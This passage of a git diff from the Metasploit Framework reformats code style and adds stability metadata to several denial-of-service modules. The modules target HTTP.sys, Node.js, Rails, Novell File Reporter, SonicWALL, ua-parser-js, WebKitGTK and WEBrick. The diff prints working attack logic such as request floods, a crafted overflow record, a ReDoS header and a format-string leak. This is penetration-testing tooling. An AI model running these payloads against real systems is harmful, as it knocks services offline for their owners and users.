'Description' => %q{ This module causes improper header parsing that leads to a segmentation fault - due to a specially crafted HTTP request. Affects version <= 1.2.0. - }, - 'Author' => - [ + due to a specially crafted HTTP request. Affects version <= 1.2.0. + }, + 'Author' => [ 'Doug Prostko ' ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2013-3843'], ['OSVDB', '93853'], ['BID', '60333'] ], - 'DisclosureDate' => '2013-05-30')) + 'DisclosureDate' => '2013-05-30', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(2001) - ]) + ] + ) end def dos diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index 5563338523bae..de8c747886d64 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -11,23 +11,23 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service', - 'Description' => %q{ - This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), a - vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code - execution. This module will try to cause a denial-of-service. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service', + 'Description' => %q{ + This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), a + vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code + execution. This module will try to cause a denial-of-service. + }, + 'Author' => [ # Bill did all the work (see the pastebin code), twitter: @hectorh56193716 'Bill Finlayson', # MSF. But really, these people made it happen: # https://github.com/rapid7/metasploit-framework/pull/5150 'sinn3r' ], - 'References' => - [ + 'References' => [ ['CVE', '2015-1635'], ['MSB', 'MS15-034'], ['URL', 'https://pastebin.com/ypURDPc4'], @@ -35,13 +35,20 @@ def initialize(info = {}) ['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'], ['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/'] ], - 'License' => MSF_LICENSE - )) + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']) - ]) + ] + ) end def upper_range @@ -52,7 +59,7 @@ def run_host(ip) if check_host(ip) == Exploit::CheckCode::Vulnerable dos_host(ip) else - print_status("Probably not vulnerable, will not dos it.") + print_status('Probably not vulnerable, will not dos it.') end end @@ -61,19 +68,19 @@ def target_uri @target_uri ||= super end - def get_file_size(ip) - @file_size ||= lambda { + def get_file_size(_ip) + @get_file_size ||= lambda { file_size = -1 uri = normalize_uri(target_uri.path) res = send_request_raw('uri' => uri) unless res - vprint_error("Connection timed out") + vprint_error('Connection timed out') return file_size end if res.code == 404 - vprint_error("You got a 404. URI must be a valid resource.") + vprint_error('You got a 404. URI must be a valid resource.') return file_size end @@ -104,7 +111,7 @@ def dos_host(ip) rescue ::Errno::EPIPE, ::Timeout::Error # Same exceptions the HttpClient mixin catches end - print_status("DOS request sent") + print_status('DOS request sent') end def potential_static_files_uris @@ -113,15 +120,15 @@ def potential_static_files_uris return [uri] unless uri[-1, 1] == '/' uris = ["#{uri}welcome.png"] - res = send_request_raw('uri' => uri, 'method' => 'GET') + res = send_request_raw('uri' => uri, 'method' => 'GET') return uris unless res site_uri = URI.parse(full_uri) - page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace)) + page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace)) page.xpath('//link|//script|//style|//img').each do |tag| - %w(href src).each do |attribute| + %w[href src].each do |attribute| attr_value = tag[attribute] next unless attr_value && !attr_value.empty? @@ -137,7 +144,7 @@ def potential_static_files_uris uris.uniq end - def check_host(ip) + def check_host(_ip) potential_static_files_uris.each do |potential_uri| uri = normalize_uri(potential_uri) diff --git a/modules/auxiliary/dos/http/nodejs_pipelining.rb b/modules/auxiliary/dos/http/nodejs_pipelining.rb index 73756dabdfedb..2dff7948304d9 100644 --- a/modules/auxiliary/dos/http/nodejs_pipelining.rb +++ b/modules/auxiliary/dos/http/nodejs_pipelining.rb @@ -8,36 +8,43 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Node.js HTTP Pipelining Denial of Service', - 'Description' => %q{ - This module exploits a Denial of Service (DoS) condition in the HTTP parser of Node.js versions - released before 0.10.21 and 0.8.26. The attack sends many pipelined - HTTP requests on a single connection, which causes unbounded memory - allocation when the client does not read the responses. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Node.js HTTP Pipelining Denial of Service', + 'Description' => %q{ + This module exploits a Denial of Service (DoS) condition in the HTTP parser of Node.js versions + released before 0.10.21 and 0.8.26. The attack sends many pipelined + HTTP requests on a single connection, which causes unbounded memory + allocation when the client does not read the responses. + }, + 'Author' => [ 'Marek Majkowski', # Vulnerability discovery 'titanous', # Metasploit module 'joev' # Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2013-4450' ], [ 'OSVDB', '98724' ], - [ 'BID' , '63229' ], + [ 'BID', '63229' ], [ 'URL', 'https://nodejs.org/ja/blog/vulnerability/http-server-pipeline-flood-dos/' ] ], - 'DisclosureDate' => '2013-10-18')) + 'DisclosureDate' => '2013-10-18', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(80), - OptInt.new('RLIMIT', [true, "Number of requests to send", 100000]) - ], - self.class) + OptInt.new('RLIMIT', [true, 'Number of requests to send', 100000]) + ] + ) end def check @@ -45,14 +52,14 @@ def check # check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted status = Exploit::CheckCode::Safe connect - sock.put(http_request("GEM")) + sock.put(http_request('GEM')) begin response = sock.get_once status = Exploit::CheckCode::Appears if response =~ /HTTP/ rescue EOFError # checking against >= 0.10.17 raises EOFError because there is no # response to GEM requests - vprint_error("Failed to determine the vulnerable state due to an EOFError (no response)") + vprint_error('Failed to determine the vulnerable state due to an EOFError (no response)') return Msf::Exploit::CheckCode::Unknown ensure disconnect @@ -61,19 +68,19 @@ def check end def host - host = datastore['RHOST'] - host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80 - host + host = datastore['RHOST'] + host += ':' + datastore['RPORT'].to_s if datastore['RPORT'] != 80 + host end - def http_request(method='GET') + def http_request(method = 'GET') "#{method} / HTTP/1.1\r\nHost: #{host}\r\n\r\n" end def run payload = http_request begin - print_status("Stressing the target memory...") + print_status('Stressing the target memory...') connect datastore['RLIMIT'].times { sock.put(payload) } print_status("Attack finished. If you read it, it wasn't enough to trigger an Out Of Memory condition.") diff --git a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb index cf748aff44e01..532b4e94d1c01 100644 --- a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb +++ b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb @@ -8,51 +8,61 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'NFR Agent Heap Overflow Vulnerability', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'NFR Agent Heap Overflow Vulnerability', + 'Description' => %q{ This module exploits a heap overflow in NFRAgent.exe, a component of Novell - File Reporter (NFR). The vulnerability occurs when handling requests of name "SRS", - where NFRAgent.exe fails to generate a response in a secure way, copying user - controlled data into a fixed-length buffer in the heap without bounds checking. - This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2). - }, - 'Author' => [ 'juan vazquez' ], - 'License' => MSF_LICENSE, - 'References' => [ - [ 'CVE', '2012-4956' ], - [ 'URL', 'https://www.rapid7.com/blog/post/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959/' ] - ], - 'DisclosureDate' => '2012-11-16')) + File Reporter (NFR). The vulnerability occurs when handling requests of name "SRS", + where NFRAgent.exe fails to generate a response in a secure way, copying user + controlled data into a fixed-length buffer in the heap without bounds checking. + This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2). + }, + 'Author' => [ 'juan vazquez' ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'CVE', '2012-4956' ], + [ 'URL', 'https://www.rapid7.com/blog/post/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959/' ] + ], + 'DisclosureDate' => '2012-11-16', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(3037), OptBool.new('SSL', [true, 'Use SSL', true]) - ]) - + ] + ) end def run - record = "" - record << "SRS47" # Operation + record = '' + record << 'SRS47' # Operation record << "#{Rex::Text.rand_text_alpha(10)}" * 0xc35 # Volumes - record << "" + record << '' - md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase + md5 = Rex::Text.md5('SRS' + record + 'SERVER').upcase message = md5 + record - print_status("Triggering a heap overflow to cause DoS...") + print_status('Triggering a heap overflow to cause DoS...') begin - res = send_request_cgi( - { - 'uri' => '/FSF/CMD', - 'version' => '1.1', - 'method' => 'POST', - 'ctype' => "text/xml", - 'data' => message - }) + res = send_request_cgi( + { + 'uri' => '/FSF/CMD', + 'version' => '1.1', + 'method' => 'POST', + 'ctype' => 'text/xml', + 'data' => message + } + ) rescue ::Errno::ECONNRESET print_good("NFR Agent didn't answer, DoS seems successful") return diff --git a/modules/auxiliary/dos/http/rails_action_view.rb b/modules/auxiliary/dos/http/rails_action_view.rb index f6e82af0642db..6b61cd0e55222 100644 --- a/modules/auxiliary/dos/http/rails_action_view.rb +++ b/modules/auxiliary/dos/http/rails_action_view.rb @@ -8,47 +8,54 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Ruby on Rails Action View MIME Memory Exhaustion', - 'Description' => %q{ - This module exploits a Denial of Service (DoS) condition in Action View that requires - a controller action. By sending a specially crafted content-type header to a Rails - application, it is possible for it to store the invalid MIME type, and may eventually - consume all memory if enough invalid MIMEs are given. - - Versions 3.0.0 and other later versions are affected, fixed in 4.0.2 and 3.2.16. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Ruby on Rails Action View MIME Memory Exhaustion', + 'Description' => %q{ + This module exploits a Denial of Service (DoS) condition in Action View that requires + a controller action. By sending a specially crafted content-type header to a Rails + application, it is possible for it to store the invalid MIME type, and may eventually + consume all memory if enough invalid MIMEs are given. + + Versions 3.0.0 and other later versions are affected, fixed in 4.0.2 and 3.2.16. + }, + 'Author' => [ 'Toby Hsieh', # Reported the issue 'joev', # Metasploit 'sinn3r' # Metasploit ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2013-6414' ], [ 'OSVDB', '100525' ], [ 'BID', '64074' ], [ 'URL', 'https://seclists.org/oss-sec/2013/q4/400' ], [ 'URL', 'https://github.com/rails/rails/commit/bee3b7f9371d1e2ddcfe6eaff5dcb26c0a248068' ] ], - 'DisclosureDate' => '2013-12-04')) + 'DisclosureDate' => '2013-12-04', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(80), - OptString.new('URIPATH', [true, 'The URI that routes to a Rails controller action', '/']), - OptInt.new('MAXSTRINGSIZE', [true, 'Max string size', 60000]), - OptInt.new('REQCOUNT', [true, 'Number of HTTP requests to pipeline per connection', 1]), - OptInt.new('RLIMIT', [true, 'Number of requests to send', 100000]) - ], - self.class) + OptString.new('URIPATH', [true, 'The URI that routes to a Rails controller action', '/']), + OptInt.new('MAXSTRINGSIZE', [true, 'Max string size', 60_000]), + OptInt.new('REQCOUNT', [true, 'Number of HTTP requests to pipeline per connection', 1]), + OptInt.new('RLIMIT', [true, 'Number of requests to send', 100_000]) + ] + ) end def host host = datastore['RHOST'] - host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80 + host += ':' + datastore['RPORT'].to_s if datastore['RPORT'] != 80 host end @@ -62,12 +69,12 @@ def long_string # 2. Removes all the double slashes # def normalize_uri(*strs) - new_str = strs * "/" + new_str = strs * '/' - new_str = new_str.gsub!("//", "/") while new_str.index("//") + new_str = new_str.gsub!('//', '/') while new_str.index('//') # Makes sure there's a starting slash - unless new_str.start_with?("/") + unless new_str.start_with?('/') new_str = '/' + new_str end @@ -87,22 +94,20 @@ def http_request end def run - begin - print_status("Stressing the target memory, this will take quite some time...") - datastore['RLIMIT'].times { |i| - connect - datastore['REQCOUNT'].times { sock.put(http_request) } - disconnect - } - - print_status("Attack finished. Either the server isn't vulnerable, or please dos harder.") - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_status("Unable to connect to #{host}.") - rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error - print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached.") - ensure + print_status('Stressing the target memory, this will take quite some time...') + datastore['RLIMIT'].times do |_i| + connect + datastore['REQCOUNT'].times { sock.put(http_request) } disconnect end + + print_status("Attack finished. Either the server isn't vulnerable, or please dos harder.") + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_status("Unable to connect to #{host}.") + rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error + print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached.") + ensure + disconnect end end diff --git a/modules/auxiliary/dos/http/rails_json_float_dos.rb b/modules/auxiliary/dos/http/rails_json_float_dos.rb index 451ef85782655..b78262cb7cda7 100644 --- a/modules/auxiliary/dos/http/rails_json_float_dos.rb +++ b/modules/auxiliary/dos/http/rails_json_float_dos.rb @@ -8,34 +8,42 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Ruby on Rails JSON Processor Floating Point Heap Overflow DoS', - 'Description' => %q{ - When Ruby attempts to convert a string representation of a large floating point - decimal number to its floating point equivalent, a heap-based buffer overflow - can be triggered. This module has been tested successfully on a Ruby on Rails application - using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application - crashes with a segfault error. Other versions of Ruby are reported to be affected. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Ruby on Rails JSON Processor Floating Point Heap Overflow DoS', + 'Description' => %q{ + When Ruby attempts to convert a string representation of a large floating point + decimal number to its floating point equivalent, a heap-based buffer overflow + can be triggered. This module has been tested successfully on a Ruby on Rails application + using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application + crashes with a segfault error. Other versions of Ruby are reported to be affected. + }, + 'Author' => [ 'Charlie Somerville', # original discoverer 'joev', # bash PoC 'todb', # Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2013-4164' ], [ 'OSVDB', '100113' ], [ 'URL', 'https://www.ruby-lang.org/en/news/2013/11/22/ruby-1-9-3-p484-is-released/' ] ], - 'DisclosureDate' => '2013-11-22')) + 'DisclosureDate' => '2013-11-22', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ OptString.new('TARGETURI', [false, 'The URL of the vulnerable Rails application', '/']), OptString.new('HTTPVERB', [false, 'The HTTP verb to use', 'POST']) - ]) + ] + ) end def uri @@ -55,7 +63,7 @@ def integer_part end def multiplier - (500_000 * (1.0/digit_pattern.size)).to_i + (500_000 * (1.0 / digit_pattern.size)).to_i end def fractional_part @@ -68,7 +76,7 @@ def fractional_part # easier to produce, and slightly better than the static "1.1111..." # for 300,000 decimal places. def evil_float_string - [integer_part,fractional_part].join('.') + [integer_part, fractional_part].join('.') end def run @@ -82,46 +90,46 @@ def run begin res = send_request_cgi( { - 'method' => verb, - 'uri' => uri, - 'ctype' => "application/json", - 'data' => sploit - }) + 'method' => verb, + 'uri' => uri, + 'ctype' => 'application/json', + 'data' => sploit + } + ) rescue ::Rex::ConnectionRefused - print_error "Unable to connect. (Connection refused)" + print_error 'Unable to connect. (Connection refused)' target_available = false rescue ::Rex::HostUnreachable - print_error "Unable to connect. (Host unreachable)" + print_error 'Unable to connect. (Host unreachable)' target_available = false rescue ::Rex::ConnectionTimeout - print_error "Unable to connect. (Timeout)" + print_error 'Unable to connect. (Timeout)' target_available = false end return unless target_available - print_status "Checking availability" + print_status 'Checking availability' begin res = send_request_cgi({ 'method' => verb, 'uri' => uri, - 'ctype' => "application/json", - 'data' => Rex::Text.rand_text_alpha(1+rand(64)).to_json + 'ctype' => 'application/json', + 'data' => Rex::Text.rand_text_alpha(1..64).to_json }) - if res and res.body and res.body.size > 0 + if res && res.body && !res.body.empty? target_available = true else print_good "#{peer}#{uri} - DoS appears successful (No useful response from host)" target_available = false end rescue ::Rex::ConnectionError, Errno::ECONNRESET - print_good "DoS appears successful (Host unreachable)" + print_good 'DoS appears successful (Host unreachable)' target_available = false end return unless target_available - print_error "Target is still responsive, DoS was unsuccessful." - + print_error 'Target is still responsive, DoS was unsuccessful.' end end diff --git a/modules/auxiliary/dos/http/sonicwall_ssl_format.rb b/modules/auxiliary/dos/http/sonicwall_ssl_format.rb index 305858a753626..a1b1227d7a781 100644 --- a/modules/auxiliary/dos/http/sonicwall_ssl_format.rb +++ b/modules/auxiliary/dos/http/sonicwall_ssl_format.rb @@ -8,25 +8,33 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos # %n etc kills a thread, but otherwise ok. def initialize(info = {}) - super(update_info(info, - 'Name' => 'SonicWALL SSL-VPN Format String Vulnerability', - 'Description' => %q{ - There is a format string vulnerability within the SonicWALL - SSL-VPN Appliance - 200, 2000 and 4000 series. Arbitrary memory - can be read or written to, depending on the format string used. - There appears to be a length limit of 127 characters of format - string data. With physical access to the device and debugging, - this module may be able to be used to execute arbitrary code remotely. - }, - 'Author' => [ 'aushack' ], - 'License' => MSF_LICENSE, - 'References' => [ - [ 'BID', '35145' ], - #[ 'CVE', '' ], # no CVE? - [ 'OSVDB', '54881' ], - [ 'URL', 'http://www.aushack.com/200905-sonicwall.txt' ], - ], - 'DisclosureDate' => '2009-05-29')) + super( + update_info( + info, + 'Name' => 'SonicWALL SSL-VPN Format String Vulnerability', + 'Description' => %q{ + There is a format string vulnerability within the SonicWALL + SSL-VPN Appliance - 200, 2000 and 4000 series. Arbitrary memory + can be read or written to, depending on the format string used. + There appears to be a length limit of 127 characters of format + string data. With physical access to the device and debugging, + this module may be able to be used to execute arbitrary code remotely. + }, + 'Author' => [ 'aushack' ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'BID', '35145' ], + [ 'OSVDB', '54881' ], + [ 'URL', 'http://www.aushack.com/200905-sonicwall.txt' ], + ], + 'DisclosureDate' => '2009-05-29', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ OptString.new('URI', [ true, 'URI to request', '/cgi-bin/welcome/VirtualOffice?err=' ]), @@ -38,25 +46,26 @@ def initialize(info = {}) def run if (datastore['FORMAT'].length > 125) # Max length is 127 bytes - print_error("FORMAT string length cannot exceed 125 bytes.") + print_error('FORMAT string length cannot exceed 125 bytes.') return end - fmt = datastore['FORMAT'] + "XX" # XX is 2 bytes used to mark end of memory garbage for regexp + fmt = datastore['FORMAT'] + 'XX' # XX is 2 bytes used to mark end of memory garbage for regexp begin res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + fmt, + 'uri' => normalize_uri(datastore['URI']) + fmt }) - if res and res.code == 200 + if res && (res.code == 200) res.body.scan(/\(.+)XX/ism) - print_status("Information leaked: #{$1}") + print_status("Information leaked: #{::Regexp.last_match(1)}") end print_status("Request sent to #{rhost}:#{rport}") rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_status("Couldn't connect to #{rhost}:#{rport}") - rescue ::Timeout::Error, ::Errno::EPIPE + rescue ::Timeout::Error, ::Errno::EPIPE => e + vprint_error(e.message) end end end diff --git a/modules/auxiliary/dos/http/tautulli_shutdown_exec.rb b/modules/auxiliary/dos/http/tautulli_shutdown_exec.rb index 88e2439651f96..8f8a7de4eda6a 100644 --- a/modules/auxiliary/dos/http/tautulli_shutdown_exec.rb +++ b/modules/auxiliary/dos/http/tautulli_shutdown_exec.rb @@ -15,7 +15,12 @@ def initialize 'References' => [ ['CVE', '2019-19833'], ['EDB', '47785'] - ] + ], + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options([ Opt::RPORT(8181) ]) end diff --git a/modules/auxiliary/dos/http/ua_parser_js_redos.rb b/modules/auxiliary/dos/http/ua_parser_js_redos.rb index 746bd55b10030..68f94dc7aa290 100644 --- a/modules/auxiliary/dos/http/ua_parser_js_redos.rb +++ b/modules/auxiliary/dos/http/ua_parser_js_redos.rb @@ -9,7 +9,7 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'ua-parser-js npm module ReDoS', + 'Name' => 'ua-parser-js npm module ReDoS', 'Description' => %q{ This module exploits a Regular Expression Denial of Service vulnerability in the npm module "ua-parser-js". Server-side applications that use @@ -17,18 +17,21 @@ def initialize if they call the "getOS" or "getResult" functions. This vulnerability was fixed as of version 0.7.16. }, - 'References' => - [ - ['CVE', '2017-16086'], - ['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'], - ['CWE', '400'], - ], - 'Author' => - [ - 'Ryan Knell, Sonatype Security Research', - 'Nick Starke, Sonatype Security Research', - ], - 'License' => MSF_LICENSE + 'References' => [ + ['CVE', '2017-16086'], + ['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'], + ['CWE', '400'], + ], + 'Author' => [ + 'Ryan Knell, Sonatype Security Research', + 'Nick Starke, Sonatype Security Research', + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options([ @@ -37,78 +40,71 @@ def initialize end def run - unless test_service - fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.") - else + if test_service trigger_redos test_service_unresponsive + else + fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.") end end def trigger_redos - begin - print_status("Sending ReDoS request to #{peer}.") + print_status("Sending ReDoS request to #{peer}.") - res = send_request_cgi({ - 'uri' => '/', - 'method' => 'GET', - 'headers' => { - 'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64) - } - }) + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'headers' => { + 'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64) + } + }) - if res.nil? - print_status("No response received from #{peer}, service is most likely unresponsive.") - else - fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.") - end - - rescue ::Rex::ConnectionRefused - print_error("Unable to connect to #{peer}.") - rescue ::Timeout::Error - print_status("No HTTP response received from #{peer}, this indicates the payload was successful.") + if res.nil? + print_status("No response received from #{peer}, service is most likely unresponsive.") + else + fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.") end + rescue ::Rex::ConnectionRefused + print_error("Unable to connect to #{peer}.") + rescue ::Timeout::Error + print_status("No HTTP response received from #{peer}, this indicates the payload was successful.") end def test_service_unresponsive - begin - print_status('Testing for service unresponsiveness.') + print_status('Testing for service unresponsiveness.') - res = send_request_cgi({ - 'uri' => '/' + Rex::Text.rand_text_alpha(8), - 'method' => 'GET' - }) + res = send_request_cgi({ + 'uri' => '/' + Rex::Text.rand_text_alpha(8), + 'method' => 'GET' + }) - if res.nil? - print_good('Service not responding.') - else - print_error('Service responded with a valid HTTP Response; ReDoS attack failed.') - end - rescue ::Rex::ConnectionRefused - print_error('An unknown error occurred.') - rescue ::Timeout::Error - print_good('HTTP request timed out, most likely the ReDoS attack was successful.') + if res.nil? + print_good('Service not responding.') + else + print_error('Service responded with a valid HTTP Response; ReDoS attack failed.') end + rescue ::Rex::ConnectionRefused + print_error('An unknown error occurred.') + rescue ::Timeout::Error + print_good('HTTP request timed out, most likely the ReDoS attack was successful.') end def test_service - begin - print_status('Testing Service to make sure it is working.') + print_status('Testing Service to make sure it is working.') - res = send_request_cgi({ - 'uri' => '/' + Rex::Text.rand_text_alpha(8), - 'method' => 'GET' - }) + res = send_request_cgi({ + 'uri' => '/' + Rex::Text.rand_text_alpha(8), + 'method' => 'GET' + }) - if !res.nil? && (res.code == 200 || res.code == 404) - print_status('Test request successful, attempting to send payload') - return true - else - return false - end - rescue ::Rex::ConnectionRefused - print_error("Unable to connect to #{peer}.") + if !res.nil? && (res.code == 200 || res.code == 404) + print_status('Test request successful, attempting to send payload') + return true + else return false end + rescue ::Rex::ConnectionRefused + print_error("Unable to connect to #{peer}.") + return false end end diff --git a/modules/auxiliary/dos/http/webkitplus.rb b/modules/auxiliary/dos/http/webkitplus.rb index 0f580597c9182..187907955ef3b 100644 --- a/modules/auxiliary/dos/http/webkitplus.rb +++ b/modules/auxiliary/dos/http/webkitplus.rb @@ -11,17 +11,17 @@ def initialize(info = {}) super( update_info( info, - 'Name' => "WebKitGTK+ WebKitFaviconDatabase DoS", - 'Description' => %q( + 'Name' => 'WebKitGTK+ WebKitFaviconDatabase DoS', + 'Description' => %q{ This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset. If successful, it could lead to application crash, resulting in denial of service. - ), - 'License' => MSF_LICENSE, - 'Author' => [ + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Dhiraj Mishra', # Original discovery, disclosure 'Hardik Mehta', # Original discovery, disclosure 'Zubin Devnani', # Original discovery, disclosure - 'Manuel Caballero' #JS Code + 'Manuel Caballero' # JS Code ], 'References' => [ ['EDB', '44842'], @@ -30,9 +30,14 @@ def initialize(info = {}) ['URL', 'https://www.inputzero.io/2018/06/cve-2018-11646-webkit.html'] ], 'DisclosureDate' => '2018-06-03', - 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], + 'Actions' => [[ 'WebServer', { 'Description' => 'Serve exploit via web server' } ]], 'PassiveActions' => [ 'WebServer' ], - 'DefaultAction' => 'WebServer' + 'DefaultAction' => 'WebServer', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) end @@ -42,14 +47,14 @@ def run end def setup - @html = <<-JS - + @html = <<~JS + JS end diff --git a/modules/auxiliary/dos/http/webrick_regex.rb b/modules/auxiliary/dos/http/webrick_regex.rb index d93b6ebe6a4fb..cdd5d183653a0 100644 --- a/modules/auxiliary/dos/http/webrick_regex.rb +++ b/modules/auxiliary/dos/http/webrick_regex.rb @@ -8,23 +8,32 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Ruby WEBrick::HTTP::DefaultFileHandler DoS', - 'Description' => %q{ - The WEBrick::HTTP::DefaultFileHandler in WEBrick in - Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7 - to 1.8.7-p71, and 1.9 to r18423 allows for a DoS - (CPU consumption) via a crafted HTTP request. - }, - 'Author' => 'kris katterjohn', - 'License' => MSF_LICENSE, - 'References' => [ - [ 'BID', '30644'], - [ 'CVE', '2008-3656'], - [ 'OSVDB', '47471' ], - [ 'URL', 'http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/'] - ], - 'DisclosureDate' => '2008-08-08')) + super( + update_info( + info, + 'Name' => 'Ruby WEBrick::HTTP::DefaultFileHandler DoS', + 'Description' => %q{ + The WEBrick::HTTP::DefaultFileHandler in WEBrick in + Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7 + to 1.8.7-p71, and 1.9 to r18423 allows for a DoS + (CPU consumption) via a crafted HTTP request. + }, + 'Author' => 'kris katterjohn', + 'License' => MSF_LICENSE, + 'References' => [ + [ 'BID', '30644'], + [ 'CVE', '2008-3656'], + [ 'OSVDB', '47471' ], + [ 'URL', 'http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/'] + ], + 'DisclosureDate' => '2008-08-08', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ OptString.new('URI', [ true, 'URI to request', '/' ]) @@ -32,21 +41,20 @@ def initialize(info = {}) end def run - begin - o = { - 'uri' => normalize_uri(datastore['URI']), - 'headers' => { - 'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 100 - } + o = { + 'uri' => normalize_uri(datastore['URI']), + 'headers' => { + 'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 100 } + } - c = connect(o) - 